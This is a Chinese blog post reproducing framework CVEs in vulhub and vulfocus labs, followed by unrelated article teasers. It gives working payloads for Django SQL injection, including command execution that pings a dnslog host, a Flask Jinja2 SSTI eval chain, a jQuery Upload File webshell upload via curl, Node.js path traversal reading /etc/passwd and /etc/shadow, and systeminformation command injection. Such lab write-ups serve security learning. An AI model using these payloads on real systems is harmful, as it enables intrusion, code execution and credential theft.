框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现

目录

  • 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
    • 中间件列表介绍
    • 常见语言开发框架
    • Python开发框架安全-Django&Flask漏洞复现
      • Django开发框架
      • 漏洞复现
        • CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
        • CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
      • Flask Jinja2 SSTI
      • 漏洞复现
        • Flask(Jinja2) 服务端模板注入漏洞
    • JavaScript开发框架安全-Jquery&Node漏洞复现
      • jQuery框架
      • 漏洞复现
        • CVE_2018_9207-jQuery Upload File漏洞复现
      • Node.js
      • 漏洞复现
        • Node.js 目录穿越漏洞(CVE-2017-14849)
        • Node.js 命令执行 (CVE-2021-21315)

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍:django(Python Web 框架)详解

Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

安全问题:

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

靶场:vulhub

参考:Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境:

image-20231029172437823

访问web界面:

image-20231029172549248

首先,使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号:admin 密码:a123123123

成功登录:

image-20231029172835555

然后转到模型的列表视图:

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中,其中是 JSONField:

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功,SQL语句报错:

image-20231029173547506

创建 cmd_exec:

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果:

成功创建

image-20231029173642878

调用 cmd_exec 执行命令:

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

image-20231029174041806

DNSlog回显效果:

image-20231029174025586

CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)

该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。

靶场:vulhub

参考:Django QuerySet.order_by SQL注入漏洞复现

image-20231029174553987

开启环境:

image-20231029175205490

访问web界面:

image-20231029175521855

首先,转到列表视图并添加到 GET 参数。

payload:

http://your-ip:8000/vuln/order=-id

执行过后会看到按 id 降序排序的数据:

image-20231029175503012

payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23

版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23

数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23

可以看到单括号已经注入成功,可以从错误中获取信息。

查看目录:

image-20231029175617387

爆版本号:

image-20231029175653357

爆数据库名:

image-20231029175735226

Flask Jinja2 SSTI

介绍:Flask详解

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug ,模板引擎则使用 Jinja2。Flask使用 BSD 授权。

Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

安全问题:

Flask(Jinja2) 服务端模板注入漏洞

漏洞复现

Flask(Jinja2) 服务端模板注入漏洞

靶场:vulhub

参考:Flask(Jinja2) 服务端模板注入漏洞复现

image-20231029180646523

开启环境:

image-20231029180816652

访问web界面:

image-20231029180838789

接下来进行访问,http://your-ip/?name={{123*123}},得到15129这个结果,则说明SSTI漏洞存在。

image-20231029181008341

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ps:需要进行url编码,编码过后直接通过GET请求,发送即可。

image-20231029181552579

执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。

image-20231029181214232

其他命令:ls,whoami

执行效果:

image-20231029181451946

image-20231029181527216

JavaScript开发框架安全-Jquery&Node漏洞复现

jQuery框架

介绍:jQuery详解

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

安全问题:

CVE_2018_9207

CVE_2018_9208

CVE_2018_9209

漏洞复现

CVE_2018_9207-jQuery Upload File漏洞复现

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

靶场:vulfocus

开启靶场:

image-20231029214847162

访问web界面:

image-20231029214903143

访问框架引用目录结构:

/jquery-upload-file/

image-20231029214930061

利用:

一条命令即可解决,访问并上传文件。

payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

上传shell.php:

image-20231029215115640

上传cmd.php:

image-20231029215508572

查看:

上传文件所在位置:(后门为php)

/jquery-upload-file/php/uploads/

image-20231029215132838

image-20231029215532519

验证,可否解析执行:

image-20231029215146073

使用蚁剑连接:

连接成功

image-20231029215237733

其他列出的安全问题,基本都差不多。

Node.js

详解:node.js详解

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用于方便的搭建响应
速度快、易于拓展的网络应用。

Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用

安全问题:

CVE_2021_21315

CVE_2017_14849

漏洞复现

Node.js 目录穿越漏洞(CVE-2017-14849)

Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

靶场:vulfocus

参考:CVE-2017-14849复现

开启环境:

image-20231029220842271

访问web界面:

image-20231029220949792

其中引用到了文件/static/main.js,说明其存在静态文件服务器。

image-20231029222139768

构造请求:

通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...

完整数据包:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

发送给重发器,然后再发送数据包过后:

(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)

image-20231029221917617

效果:成功读取/etc/passwd文件

image-20231029221456694

效果:成功读取/etc/shadow文件

image-20231029221517759

Node.js 命令执行 (CVE-2021-21315)

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

靶场:vulfocus

开启环境:

image-20231029222901495

访问web界面:

image-20231029222827237

构造GET请求:

payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)

执行过后:

image-20231029224746956

验证:

成功生成该文件

docker ps
docker exec -it id /bin/bash

image-20231029224713536

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/109970.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安装虚拟机(VMware)保姆级教程及配置虚拟网络编辑器和安装WindowsServer以及宿主机访问虚拟机和配置服务器环境

目录 一、操作系统 1.1.什么是操作系统 1.2.常见操作系统 1.3.个人版本和服务器版本的区别 1.4.Linux的各个版本 二、VMware Wworkstation Pro虚拟机的安装 1.下载与安装 注意&#xff1a;VMWare虚拟网卡 2.配置虚拟网络编辑器 三、安装配置 WindowsServer 1.创建虚拟…

AS/400-物理文件-02

物理文件 - Physical file Physical file物理文件中的条目级别相关命令 Physical file 简介物理文件 这是一个文件。包含预定义的结构化格式的数据。它是PF类型。通过使用CRTPF命令创建PF。PF中包含的字段的最大数量为8000。最多包含120个关键字段。 PF 的结构如下 TYPE SPECIF…

题目描述:输入数字,第一行为数组的大小,第二行为数组的值。求其中相邻两个数字相差不大于8的最大片段的长度。

题目描述&#xff1a; 输入数字&#xff0c;第一行为数组的大小&#xff0c;第二行为数组的值。求其中相邻两个数字相差不大于8的最大片段的长度。 示例1&#xff1a; 输入&#xff1a;91 2 4 6 12 2 8 6 4 输出&#xff1a;5示例2&#xff1a; 输入&#xff1a;101 4 5 6 2…

分布式:一文吃透分布式锁,Redis/Zookeeper/MySQL实现

目录 一、项目准备spring项目数据库 二、传统锁演示超卖现象使用JVM锁解决超卖解决方案JVM失效场景 使用一个SQL解决超卖使用mysql悲观锁解决超卖使用mysql乐观锁解决超卖四种锁比较Redis乐观锁集成Redis超卖现象redis乐观锁解决超卖 三、分布式锁概述四、Redis分布式锁实现方案…

干货!数字IC后端入门学习笔记

很多同学想要了解IC后端&#xff0c;今天大家分享了数字IC后端的学习入门笔记&#xff0c;供大家学习参考。 很多人对于后端设计的概念比较模糊&#xff0c;需要做什么也都不甚清楚。 有的同学认为就是跑跑 flow、掌握各类工具。 事实上&#xff0c;后端设计的工作远不止于此。…

状态模式-对象状态及其转换

某信用卡业务系统&#xff0c;银行账户存在3种状态&#xff0c;且在不同状态下存在不同的行为&#xff1a; 1&#xff09;正常状态&#xff08;余额大等于0&#xff09;&#xff0c;用户可以存款也可以取款&#xff1b; 2&#xff09;透支状态&#xff08;余额小于0且大于-20…

【HarmonyOS】鸿蒙操作系统架构

HarmonyOS架构 一. 鸿蒙系统定位二. 架构整体遵从分层设计三. HarmonyOS具有的技术特性四. HarmonyOS有三大特征 其它相关推荐&#xff1a; 软考系统架构之案例篇(架构设计相关概念) 系统架构之微服务架构 系统架构设计之微内核架构 所属专栏&#xff1a;系统架构设计师 一. 鸿…

软考系列(系统架构师)- 2013年系统架构师软考案例分析考点

试题一 软件架构&#xff08;根据描述填表、ESB 定义和功能&#xff09; 【问题1】&#xff08;10分&#xff09; 服务建模是对Ramp Coordination信息系统进行集成的首要工作&#xff0c;公司的架构师首先对Ramp Coordination信息系统进行服务建模&#xff0c;识别出系统中的两…

window11 更改 vscode 插件目录,释放C盘内存

由于经常使用vscode开发会安装一些代码提示插件&#xff0c;然后C盘内容会逐渐缩小&#xff0c;最终排查定位到vscode。这个吃内存不眨眼的家伙。 建议&#xff1a;不要把插件目录和vscode安装目录放在同一个位置&#xff0c;不然这样vscode更新后&#xff0c;插件也会消失。 v…

OpenCV官方教程中文版 —— 2D 直方图

OpenCV官方教程中文版 —— 2D 直方图 前言一、介绍二、OpenCV 中的 2D 直方图三、Numpy 中 2D 直方图四、绘制 2D 直方图 前言 本节我们会学习如何绘制 2D 直方图&#xff0c;我们会在下一节中使用到它。 一、介绍 在前面的部分我们介绍了如何绘制一维直方图&#xff0c;之…

轻量级 IDE 文本编辑器 Geany 发布 2.0

Geany 是功能强大、稳定、轻量的开发者专用文本编辑器&#xff0c;支持 Linux、Windows 和 macOS&#xff0c;内置支持 50 多种编程语言。 2005 年Geany 发布首个版本 0.1。上周四刚好是 Geany 诞生 18 周年纪念日&#xff0c;官方发布了 2.0 正式版以表庆祝。 下载地址&#…

【机器学习可解释性】2.特征重要性排列

机器学习可解释性 1.模型洞察的价值2.特征重要性排列3.部分依赖图4.SHAP 值5.SHAP值的高级使用 正文 前言 你的模型认为哪些特征最重要&#xff1f; 介绍 我们可能会对模型提出的最基本的问题之一是&#xff1a;哪些特征对预测的影响最大&#xff1f; 这个概念被称为特征重…

antd+全屏的坑(全屏下a-modal/下拉框等不展示)

问题&#xff1a;针对某个元素全屏时&#xff0c;下拉框/弹窗/二次确认窗不展示&#xff1a;下拉框是往body里面插入的&#xff0c;全屏的元素盖住了下拉框。解决&#xff1a;给有下拉框的加入:append-to-body"false"&#xff08;缺点&#xff1a;每个都需要加&#…

Ansible中常用模块

1.ansible实现管理的方式 Ad-Hoc //利用ansible命令直接完成管理&#xff0c;主要用于临时命令使用场景 playbook //ansible脚本&#xff0c;主要用于大型项目场景&#xff0c;需要前期的规划 2.Ad-Hoc执行方式中如何获得帮助 ansible-doc …

测试C#调用Aplayer播放视频(1:加载Aplayer控件)

微信公众号“Dotnet跨平台”的文章《开源精品&#xff0c;使用 C# 开发的 KTV 点歌项目》中使用了迅雷开源APlayer播放引擎。最近在学习有哪些能拿来播放视频的组件或控件&#xff0c;于是准备试试&#xff0c;根据文章中的介绍&#xff0c;在迅雷APlayer播放引擎网站中下载了A…

Jetpack:023-Jetpack中的事件二

文章目录 1. 知识回顾2. 使用方法2.1 单击事件2.2 双击事件2.3 长按事件2.4 滑动事件 3. 示例代码4. 内容总结 我们在上一章回中介绍了 Jetpack中事件相关的内容&#xff0c;本章回中继续介绍这方面的内容。闲话休提&#xff0c;让我们一起Talk Android Jetpack吧&#xff01;…

消息中间件——RabbitMQ(一)Windows/Linux环境搭建(完整版)

前言 最近在学习消息中间件——RabbitMQ&#xff0c;打算把这个学习过程记录下来。此章主要介绍环境搭建。此次主要是单机搭建&#xff08;条件有限&#xff09;&#xff0c;包括在Windows、Linux环境下的搭建&#xff0c;以及RabbitMQ的监控平台搭建。 环境准备 在搭建Rabb…

matlab simulink 遗传算法优化RBF

1、内容简介 略 2-可以交流、咨询、答疑 2、内容说明 先用遗传算法优化RBF的权重系数&#xff0c;然后用RBF来做个控制器&#xff0c;查看效果 遗传算法、RBF控制、优化 3、仿真分析 4、参考论文 略

【AI视野·今日Robot 机器人论文速览 第六十期】Mon, 23 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Mon, 23 Oct 2023 Totally 26 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers A Review of Prospects and Opportunities in Disassembly with Human-Robot Collaboration Authors Meng Lun Lee, Xiao Lian…

Kibana无法启动 kibana_task_manager search_phase_execution_exception 问题解决

今天服务器重启以后&#xff0c;发现无法启动Kibana服务了&#xff0c;在网上也是把错误搜索了半天&#xff0c;尝试了那些命令&#xff0c;但是执行删除命令时居然报错了。后来&#xff0c;仔细观察后&#xff0c;发现是删除方式不太正确&#xff0c;需要改一下删除命令才能正…